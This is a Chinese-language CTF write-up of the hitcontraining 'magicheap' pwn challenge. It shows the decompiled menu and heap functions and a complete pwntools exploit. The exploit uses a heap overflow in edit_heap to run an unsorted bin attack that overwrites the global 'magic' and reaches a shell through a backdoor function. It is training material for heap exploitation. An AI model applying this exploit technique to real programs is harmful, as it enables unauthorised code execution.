pwn-hitcontraining_magicheap(unsorted bin attack)

查看保护:

 

 

 main:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [rsp+0h] [rbp-10h]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 8uLL);
      v3 = atoi(&buf);
      if ( v3 != 3 )
        break;
      delete_heap();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 4869 )
      {
        if ( (unsigned __int64)magic <= 0x1305 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }
      else
      {
LABEL_17:
        puts("Invalid Choice");
      }
    }
    else if ( v3 == 1 )
    {
      create_heap();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_17;
      edit_heap();
    }
  }
}

create:

gned __int64 create_heap()
{
  signed int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !heaparray[i] )
    {
      printf("Size of Heap : ");
      read(0, &buf, 8uLL);
      size = atoi(&buf);
      heaparray[i] = malloc(size);
      if ( !heaparray[i] )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:", &buf);
      read_input(heaparray[i], size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

edit:

int edit_heap()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  __int64 v2; // [rsp+8h] [rbp-8h]

  printf("Index :");
  read(0, (char *)&v1 + 4, 4uLL);
  LODWORD(v1) = atoi((const char *)&v1 + 4);
  if ( (signed int)v1 < 0 || (signed int)v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( !heaparray[(signed int)v1] )
    return puts("No such heap !");
  printf("Size of Heap : ", (char *)&v1 + 4, v1);
  read(0, (char *)&v1 + 4, 8uLL);
  v2 = atoi((const char *)&v1 + 4);
  printf("Content of heap : ", (char *)&v1 + 4, v1);
  read_input(heaparray[(signed int)v1], v2);
  return puts("Done !");
}

delete:

int delete_heap()
{
  int v1; // [rsp+8h] [rbp-8h]
  char buf; // [rsp+Ch] [rbp-4h]

  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( !heaparray[v1] )
    return puts("No such heap !");
  free((void *)heaparray[v1]);
  heaparray[v1] = 0LL;
  return puts("Done !");
}

 

l33t是后门函数,想要触发需要使位于bss(unsigned __int64)magic <= 0x1305。

 

 这里使用unsorted bin attack把magic修改为较大的值,但值是用户无法控制的

unsorted bin attack详见:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unsorted_bin_attack-zh/

exp:

 

#!/usr/bin/python

from pwn import *

context.log_level = 'debug'
#a=remote("node3.buuoj.cn",29492)
a=process("/root/magicheap")
#libc=ELF("libc.so.6")
magic=0x6020a0
def add(size,content):
    a.sendlineafter('Your choice :','1')
    a.sendlineafter('Size of Heap : ',str(size))
    a.sendlineafter('Content of heap:',content)

def edit(idx,size,content):
    a.sendlineafter('Your choice :','2')
    a.sendlineafter('Index :',str(idx))
    a.sendlineafter('Size of Heap : ',str(size))
    a.sendlineafter('Content of heap : ',content)

def dele(idx):
    a.sendlineafter('Your choice :','3')
    a.sendlineafter('Index :',str(idx))

add(0x20,'a') #idx 0;
add(0x80,'b') #idx 1;大于MINSIZE,free后被放入unsortedbin
add(0x20,'c') #idx 2;防止与top chunk合并
dele(1)
edit(0,0x40,'a'*0x20+p64(0)+p64(0x91)+p64(0)+p64(magic-0x10)) #修改bk=magic-0x10
add(0x80,'d')
a.sendline("4869")
#gdb.attach(a)
a.interactive()

 

利用溢出修改idx 1,因为fd没有起到作用所以可以设置为任意值。根据unsortedbin的FIFO特性,

edit后重新申请就会申请到magic-0x10。之后输入4869就能getshell

 

posted @ 2020-11-19 13:22  remon535  阅读(284)  评论(0编辑  收藏  举报